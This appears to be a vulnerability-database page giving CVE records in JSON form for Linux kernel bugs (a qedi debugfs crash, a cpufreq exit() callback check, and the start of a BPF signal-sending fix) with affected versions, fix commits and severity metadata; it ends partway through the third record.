Linux	Linux	Affected: ace7f46ba5fde7273207c7122b0650ceb72510e0 , < 56bec63a7fc87ad50b3373a87517dc9770eef9e0 (git) Affected: ace7f46ba5fde7273207c7122b0650ceb72510e0 , < 21c963de2e86e88f6a8ca556bcebb8e62ab8e901 (git) Affected: ace7f46ba5fde7273207c7122b0650ceb72510e0 , < 144d76a676b630e321556965011b00e2de0b40a7 (git) Affected: ace7f46ba5fde7273207c7122b0650ceb72510e0 , < 397a8990c377ee4b61d6df768e61dff9e316d46b (git) Affected: ace7f46ba5fde7273207c7122b0650ceb72510e0 , < eaddb86637669f6bad89245ee63f8fb2bfb50241 (git) Affected: ace7f46ba5fde7273207c7122b0650ceb72510e0 , < fa85b016a56b9775a3fe41e5d26e666945963b46 (git) Affected: ace7f46ba5fde7273207c7122b0650ceb72510e0 , < e2f433ea7d0ff77998766a088a287337fb43ad75 (git) Affected: ace7f46ba5fde7273207c7122b0650ceb72510e0 , < 28027ec8e32ecbadcd67623edb290dad61e735b5 (git)
Linux	Linux	Affected: 4.10 Unaffected: 0 , < 4.10 (semver) Unaffected: 4.19.317 , ≤ 4.19.* (semver) Unaffected: 5.4.279 , ≤ 5.4.* (semver) Unaffected: 5.10.221 , ≤ 5.10.* (semver) Unaffected: 5.15.162 , ≤ 5.15.* (semver) Unaffected: 6.1.96 , ≤ 6.1.* (semver) Unaffected: 6.6.36 , ≤ 6.6.* (semver) Unaffected: 6.9.7 , ≤ 6.9.* (semver) Unaffected: 6.10 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T21:58:43.534Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/56bec63a7fc87ad50b3373a87517dc9770eef9e0"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/21c963de2e86e88f6a8ca556bcebb8e62ab8e901"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/144d76a676b630e321556965011b00e2de0b40a7"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/397a8990c377ee4b61d6df768e61dff9e316d46b"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/eaddb86637669f6bad89245ee63f8fb2bfb50241"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/fa85b016a56b9775a3fe41e5d26e666945963b46"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/e2f433ea7d0ff77998766a088a287337fb43ad75"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/28027ec8e32ecbadcd67623edb290dad61e735b5"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-40978",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T17:02:30.760177Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:34:21.743Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:56:01.705Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/scsi/qedi/qedi_debugfs.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "56bec63a7fc87ad50b3373a87517dc9770eef9e0",
              "status": "affected",
              "version": "ace7f46ba5fde7273207c7122b0650ceb72510e0",
              "versionType": "git"
            },
            {
              "lessThan": "21c963de2e86e88f6a8ca556bcebb8e62ab8e901",
              "status": "affected",
              "version": "ace7f46ba5fde7273207c7122b0650ceb72510e0",
              "versionType": "git"
            },
            {
              "lessThan": "144d76a676b630e321556965011b00e2de0b40a7",
              "status": "affected",
              "version": "ace7f46ba5fde7273207c7122b0650ceb72510e0",
              "versionType": "git"
            },
            {
              "lessThan": "397a8990c377ee4b61d6df768e61dff9e316d46b",
              "status": "affected",
              "version": "ace7f46ba5fde7273207c7122b0650ceb72510e0",
              "versionType": "git"
            },
            {
              "lessThan": "eaddb86637669f6bad89245ee63f8fb2bfb50241",
              "status": "affected",
              "version": "ace7f46ba5fde7273207c7122b0650ceb72510e0",
              "versionType": "git"
            },
            {
              "lessThan": "fa85b016a56b9775a3fe41e5d26e666945963b46",
              "status": "affected",
              "version": "ace7f46ba5fde7273207c7122b0650ceb72510e0",
              "versionType": "git"
            },
            {
              "lessThan": "e2f433ea7d0ff77998766a088a287337fb43ad75",
              "status": "affected",
              "version": "ace7f46ba5fde7273207c7122b0650ceb72510e0",
              "versionType": "git"
            },
            {
              "lessThan": "28027ec8e32ecbadcd67623edb290dad61e735b5",
              "status": "affected",
              "version": "ace7f46ba5fde7273207c7122b0650ceb72510e0",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/scsi/qedi/qedi_debugfs.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.10"
            },
            {
              "lessThan": "4.10",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.317",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.279",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.221",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.162",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.96",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.36",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.9.*",
              "status": "unaffected",
              "version": "6.9.7",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.10",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.317",
                  "versionStartIncluding": "4.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.279",
                  "versionStartIncluding": "4.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.221",
                  "versionStartIncluding": "4.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.162",
                  "versionStartIncluding": "4.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.96",
                  "versionStartIncluding": "4.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.36",
                  "versionStartIncluding": "4.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9.7",
                  "versionStartIncluding": "4.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10",
                  "versionStartIncluding": "4.10",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nscsi: qedi: Fix crash while reading debugfs attribute\n\nThe qedi_dbg_do_not_recover_cmd_read() function invokes sprintf() directly\non a __user pointer, which results into the crash.\n\nTo fix this issue, use a small local stack buffer for sprintf() and then\ncall simple_read_from_buffer(), which in turns make the copy_to_user()\ncall.\n\nBUG: unable to handle page fault for address: 00007f4801111000\nPGD 8000000864df6067 P4D 8000000864df6067 PUD 864df7067 PMD 846028067 PTE 0\nOops: 0002 [#1] PREEMPT SMP PTI\nHardware name: HPE ProLiant DL380 Gen10/ProLiant DL380 Gen10, BIOS U30 06/15/2023\nRIP: 0010:memcpy_orig+0xcd/0x130\nRSP: 0018:ffffb7a18c3ffc40 EFLAGS: 00010202\nRAX: 00007f4801111000 RBX: 00007f4801111000 RCX: 000000000000000f\nRDX: 000000000000000f RSI: ffffffffc0bfd7a0 RDI: 00007f4801111000\nRBP: ffffffffc0bfd7a0 R08: 725f746f6e5f6f64 R09: 3d7265766f636572\nR10: ffffb7a18c3ffd08 R11: 0000000000000000 R12: 00007f4881110fff\nR13: 000000007fffffff R14: ffffb7a18c3ffca0 R15: ffffffffc0bfd7af\nFS:  00007f480118a740(0000) GS:ffff98e38af00000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 00007f4801111000 CR3: 0000000864b8e001 CR4: 00000000007706e0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\nPKRU: 55555554\nCall Trace:\n \u003cTASK\u003e\n ? __die_body+0x1a/0x60\n ? page_fault_oops+0x183/0x510\n ? exc_page_fault+0x69/0x150\n ? asm_exc_page_fault+0x22/0x30\n ? memcpy_orig+0xcd/0x130\n vsnprintf+0x102/0x4c0\n sprintf+0x51/0x80\n qedi_dbg_do_not_recover_cmd_read+0x2f/0x50 [qedi 6bcfdeeecdea037da47069eca2ba717c84a77324]\n full_proxy_read+0x50/0x80\n vfs_read+0xa5/0x2e0\n ? folio_add_new_anon_rmap+0x44/0xa0\n ? set_pte_at+0x15/0x30\n ? do_pte_missing+0x426/0x7f0\n ksys_read+0xa5/0xe0\n do_syscall_64+0x58/0x80\n ? __count_memcg_events+0x46/0x90\n ? count_memcg_event_mm+0x3d/0x60\n ? handle_mm_fault+0x196/0x2f0\n ? do_user_addr_fault+0x267/0x890\n ? exc_page_fault+0x69/0x150\n entry_SYSCALL_64_after_hwframe+0x72/0xdc\nRIP: 0033:0x7f4800f20b4d"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:23:31.982Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/56bec63a7fc87ad50b3373a87517dc9770eef9e0"
        },
        {
          "url": "https://git.kernel.org/stable/c/21c963de2e86e88f6a8ca556bcebb8e62ab8e901"
        },
        {
          "url": "https://git.kernel.org/stable/c/144d76a676b630e321556965011b00e2de0b40a7"
        },
        {
          "url": "https://git.kernel.org/stable/c/397a8990c377ee4b61d6df768e61dff9e316d46b"
        },
        {
          "url": "https://git.kernel.org/stable/c/eaddb86637669f6bad89245ee63f8fb2bfb50241"
        },
        {
          "url": "https://git.kernel.org/stable/c/fa85b016a56b9775a3fe41e5d26e666945963b46"
        },
        {
          "url": "https://git.kernel.org/stable/c/e2f433ea7d0ff77998766a088a287337fb43ad75"
        },
        {
          "url": "https://git.kernel.org/stable/c/28027ec8e32ecbadcd67623edb290dad61e735b5"
        }
      ],
      "title": "scsi: qedi: Fix crash while reading debugfs attribute",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-40978",
    "datePublished": "2024-07-12T12:32:14.149Z",
    "dateReserved": "2024-07-12T12:17:45.604Z",
    "dateUpdated": "2026-05-12T11:56:01.705Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-38615 (GCVE-0-2024-38615)

Vulnerability from cvelistv5 – Published: 2024-06-19 13:56 – Updated: 2026-05-12 11:55

Title

cpufreq: exit() callback is optional

Summary

In the Linux kernel, the following vulnerability has been resolved: cpufreq: exit() callback is optional The exit() callback is optional and shouldn't be called without checking a valid pointer first. Also, we must clear freq_table pointer even if the exit() callback isn't present.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/2d730b465e377396d…
https://git.kernel.org/stable/c/dfc56ff5ec9904c00…
https://git.kernel.org/stable/c/35db5e76d5e9f7524…
https://git.kernel.org/stable/c/8bc9546805e572ad1…
https://git.kernel.org/stable/c/3e99f060cfd2e3650…
https://git.kernel.org/stable/c/ae37ebca325097d77…
https://git.kernel.org/stable/c/a8204d1b6ff762d21…
https://git.kernel.org/stable/c/b8f85833c05730d63…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 91a12e91dc39137906d929a4ff6f9c32c59697fa , < 2d730b465e377396d2a09a53524b96b111f7ccb6 (git) Affected: 91a12e91dc39137906d929a4ff6f9c32c59697fa , < dfc56ff5ec9904c008e9376d90a6d7e2d2bec4d3 (git) Affected: 91a12e91dc39137906d929a4ff6f9c32c59697fa , < 35db5e76d5e9f752476df5fa0b9018a2398b0378 (git) Affected: 91a12e91dc39137906d929a4ff6f9c32c59697fa , < 8bc9546805e572ad101681437a49939f28777273 (git) Affected: 91a12e91dc39137906d929a4ff6f9c32c59697fa , < 3e99f060cfd2e36504d62c9132b453ade5027e1c (git) Affected: 91a12e91dc39137906d929a4ff6f9c32c59697fa , < ae37ebca325097d773d7bb6ec069123b30772872 (git) Affected: 91a12e91dc39137906d929a4ff6f9c32c59697fa , < a8204d1b6ff762d2171d365c2c8560285d0a233d (git) Affected: 91a12e91dc39137906d929a4ff6f9c32c59697fa , < b8f85833c05730d631576008daaa34096bc7f3ce (git)
Linux	Linux	Affected: 5.1 Unaffected: 0 , < 5.1 (semver) Unaffected: 5.4.278 , ≤ 5.4.* (semver) Unaffected: 5.10.219 , ≤ 5.10.* (semver) Unaffected: 5.15.161 , ≤ 5.15.* (semver) Unaffected: 6.1.93 , ≤ 6.1.* (semver) Unaffected: 6.6.33 , ≤ 6.6.* (semver) Unaffected: 6.8.12 , ≤ 6.8.* (semver) Unaffected: 6.9.3 , ≤ 6.9.* (semver) Unaffected: 6.10 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-38615",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-06-24T18:14:33.990176Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-24T18:14:41.733Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T04:12:26.130Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/2d730b465e377396d2a09a53524b96b111f7ccb6"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/dfc56ff5ec9904c008e9376d90a6d7e2d2bec4d3"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/35db5e76d5e9f752476df5fa0b9018a2398b0378"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/8bc9546805e572ad101681437a49939f28777273"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/3e99f060cfd2e36504d62c9132b453ade5027e1c"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/ae37ebca325097d773d7bb6ec069123b30772872"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/a8204d1b6ff762d2171d365c2c8560285d0a233d"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/b8f85833c05730d631576008daaa34096bc7f3ce"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:55:10.801Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/cpufreq/cpufreq.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "2d730b465e377396d2a09a53524b96b111f7ccb6",
              "status": "affected",
              "version": "91a12e91dc39137906d929a4ff6f9c32c59697fa",
              "versionType": "git"
            },
            {
              "lessThan": "dfc56ff5ec9904c008e9376d90a6d7e2d2bec4d3",
              "status": "affected",
              "version": "91a12e91dc39137906d929a4ff6f9c32c59697fa",
              "versionType": "git"
            },
            {
              "lessThan": "35db5e76d5e9f752476df5fa0b9018a2398b0378",
              "status": "affected",
              "version": "91a12e91dc39137906d929a4ff6f9c32c59697fa",
              "versionType": "git"
            },
            {
              "lessThan": "8bc9546805e572ad101681437a49939f28777273",
              "status": "affected",
              "version": "91a12e91dc39137906d929a4ff6f9c32c59697fa",
              "versionType": "git"
            },
            {
              "lessThan": "3e99f060cfd2e36504d62c9132b453ade5027e1c",
              "status": "affected",
              "version": "91a12e91dc39137906d929a4ff6f9c32c59697fa",
              "versionType": "git"
            },
            {
              "lessThan": "ae37ebca325097d773d7bb6ec069123b30772872",
              "status": "affected",
              "version": "91a12e91dc39137906d929a4ff6f9c32c59697fa",
              "versionType": "git"
            },
            {
              "lessThan": "a8204d1b6ff762d2171d365c2c8560285d0a233d",
              "status": "affected",
              "version": "91a12e91dc39137906d929a4ff6f9c32c59697fa",
              "versionType": "git"
            },
            {
              "lessThan": "b8f85833c05730d631576008daaa34096bc7f3ce",
              "status": "affected",
              "version": "91a12e91dc39137906d929a4ff6f9c32c59697fa",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/cpufreq/cpufreq.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.1"
            },
            {
              "lessThan": "5.1",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.278",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.219",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.161",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.93",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.33",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.12",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.9.*",
              "status": "unaffected",
              "version": "6.9.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.10",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.278",
                  "versionStartIncluding": "5.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.219",
                  "versionStartIncluding": "5.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.161",
                  "versionStartIncluding": "5.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.93",
                  "versionStartIncluding": "5.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.33",
                  "versionStartIncluding": "5.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.12",
                  "versionStartIncluding": "5.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9.3",
                  "versionStartIncluding": "5.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10",
                  "versionStartIncluding": "5.1",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ncpufreq: exit() callback is optional\n\nThe exit() callback is optional and shouldn\u0027t be called without checking\na valid pointer first.\n\nAlso, we must clear freq_table pointer even if the exit() callback isn\u0027t\npresent."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:20:11.999Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/2d730b465e377396d2a09a53524b96b111f7ccb6"
        },
        {
          "url": "https://git.kernel.org/stable/c/dfc56ff5ec9904c008e9376d90a6d7e2d2bec4d3"
        },
        {
          "url": "https://git.kernel.org/stable/c/35db5e76d5e9f752476df5fa0b9018a2398b0378"
        },
        {
          "url": "https://git.kernel.org/stable/c/8bc9546805e572ad101681437a49939f28777273"
        },
        {
          "url": "https://git.kernel.org/stable/c/3e99f060cfd2e36504d62c9132b453ade5027e1c"
        },
        {
          "url": "https://git.kernel.org/stable/c/ae37ebca325097d773d7bb6ec069123b30772872"
        },
        {
          "url": "https://git.kernel.org/stable/c/a8204d1b6ff762d2171d365c2c8560285d0a233d"
        },
        {
          "url": "https://git.kernel.org/stable/c/b8f85833c05730d631576008daaa34096bc7f3ce"
        }
      ],
      "title": "cpufreq: exit() callback is optional",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-38615",
    "datePublished": "2024-06-19T13:56:15.422Z",
    "dateReserved": "2024-06-18T19:36:34.944Z",
    "dateUpdated": "2026-05-12T11:55:10.801Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2025-21728 (GCVE-0-2025-21728)

Vulnerability from cvelistv5 – Published: 2025-02-27 02:07 – Updated: 2026-05-12 12:03

Title

bpf: Send signals asynchronously if !preemptible

Summary

In the Linux kernel, the following vulnerability has been resolved: bpf: Send signals asynchronously if !preemptible BPF programs can execute in all kinds of contexts and when a program running in a non-preemptible context uses the bpf_send_signal() kfunc, it will cause issues because this kfunc can sleep. Change `irqs_disabled()` to `!preemptible()`.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/feba1308bc5e8e04c…
https://git.kernel.org/stable/c/ce51eab2070e295d2…
https://git.kernel.org/stable/c/e306eaaa3d78b462d…
https://git.kernel.org/stable/c/be42a09fe898635b0…
https://git.kernel.org/stable/c/eeef8e65041a031bd…
https://git.kernel.org/stable/c/78b97783496b45443…
https://git.kernel.org/stable/c/092fc76b7ab4163e0…
https://git.kernel.org/stable/c/87c544108b612512b…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: fd29a0242f86b2d95ad666aa9f92a3d0f7bfdab6 , < feba1308bc5e8e04cee751d39fae8a9b407a9034 (git) Affected: 1bc7896e9ef44fd77858b3ef0b8a6840be3a4494 , < ce51eab2070e295d298f42a2f1db269cd1b56d55 (git) Affected: 1bc7896e9ef44fd77858b3ef0b8a6840be3a4494 , < e306eaaa3d78b462db5f5b11e0171f9d2b6ca3f4 (git) Affected: 1bc7896e9ef44fd77858b3ef0b8a6840be3a4494 , < be42a09fe898635b0093c0c8dac1bfabe225c240 (git) Affected: 1bc7896e9ef44fd77858b3ef0b8a6840be3a4494 , < eeef8e65041a031bd8a747a392c14b76a123a12c (git) Affected: 1bc7896e9ef44fd77858b3ef0b8a6840be3a4494 , < 78b97783496b454435639937db3303e900a24d3f (git) Affected: 1bc7896e9ef44fd77858b3ef0b8a6840be3a4494 , < 092fc76b7ab4163e008f9cde596a58dad2108260 (git) Affected: 1bc7896e9ef44fd77858b3ef0b8a6840be3a4494 , < 87c544108b612512b254c8f79aa5c0a8546e2cc4 (git) Affected: 7930d01afb7281edd9782971e0cca6fe587c7a7b (git)
Linux	Linux	Affected: 5.6 Unaffected: 0 , < 5.6 (semver) Unaffected: 5.4.291 , ≤ 5.4.* (semver) Unaffected: 5.10.235 , ≤ 5.10.* (semver) Unaffected: 5.15.179 , ≤ 5.15.* (semver) Unaffected: 6.1.129 , ≤ 6.1.* (semver) Unaffected: 6.6.76 , ≤ 6.6.* (semver) Unaffected: 6.12.13 , ≤ 6.12.* (semver) Unaffected: 6.13.2 , ≤ 6.13.* (semver) Unaffected: 6.14 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
